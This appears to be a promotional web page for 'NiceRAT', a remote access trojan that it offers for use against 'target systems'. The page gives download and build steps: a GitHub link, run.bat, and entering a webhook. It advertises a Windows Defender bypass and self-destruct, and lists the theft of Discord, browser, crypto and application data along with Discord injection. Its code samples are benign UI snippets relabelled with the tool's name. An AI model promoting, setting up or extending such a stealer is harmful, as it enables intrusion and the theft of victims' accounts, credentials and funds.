logo

Meet the NiceRAT.

Unleash the power of remote access with our RAT, granting you unparalleled control over target systems from any corner of the globe.

Engage with NiceRAT effortlessly through a user-friendly interface, enabling seamless interaction with Python functionalities.

NiceRAT

Build 1.0.0

WD Bypass
Self Destruct
Installation

Get started

1.

Download source code from github & extract ZIP

https://github.com/0x00G/NiceRAT
Release: NiceRAT Latest
2.

Install dependencies

NiceRAT
Double click on run.bat 
                
3.

Start builder & follow instructions

NiceRAT
Enter webhook & click on "BUILD"
Customization

Try this

Styling
main.py
from nicegui import ui
ui.icon('thumb_up')ui.markdown('This is **Markdown**.')
ui.html('This is <strong>HTML</strong>.')
with ui.row():
ui.label('CSS').style('color: #888; font-weight: bold')
ui.label('Tailwind').classes('font-serif')
ui.label('Quasar').classes('q-ml-xl')
ui.link('NiceRAT on GitHub', 'https://github.com/0x00G/nicerat')
ui.run()
NiceRAT

This is Markdown.

This is HTML.
CSS
Tailwind
Quasar
NiceRAT on GitHub
Common UI Elements
main.py
from nicegui import ui
from nicegui.events import ValueChangeEventArguments
  
def show(event: ValueChangeEventArguments):
      name = type(event.sender).__name__
      ui.notify(f'{name}: {event.value}')
  
ui.button('Button', on_click=lambda: ui.notify('Click'))
with ui.row():
      ui.checkbox('Checkbox', on_change=show)
      ui.switch('Switch', on_change=show)
ui.radio(['A', 'B', 'C'], value='A', on_change=show).props('inline')
with ui.row():
      ui.input('Text input', on_change=show)
      ui.select(['One', 'Two'], value='One', on_change=show)
ui.link('And many more...', '/documentation').classes('mt-8')

ui.run()
NiceRAT
Switch
And many more...
Value Binding
main.py
from nicegui import ui
                            
class Demo:
  def __init__(self):
    self.number = 1
                            
demo = Demo()
v = ui.checkbox('visible', value=True)
with ui.column().bind_visibility_from(v, 'value'):
  ui.slider(min=1, max=3).bind_value(demo, 'number')
  ui.toggle({1: 'A', 2: 'B', 3: 'C'}).bind_value(demo, 'number')
  ui.number().bind_value(demo, 'number')
                            
ui.run()
NiceRAT

Browse through plenty of live demos.

Fun-Fact: This website is also coded with NiceRAT theme.
Documentation
In-depth examples

Pick your solution

Discord Information
Browser Data
Crypto Data
Application Data
Discord Injection
System Information
File Downloader
Secure Conection
General Functions

Why?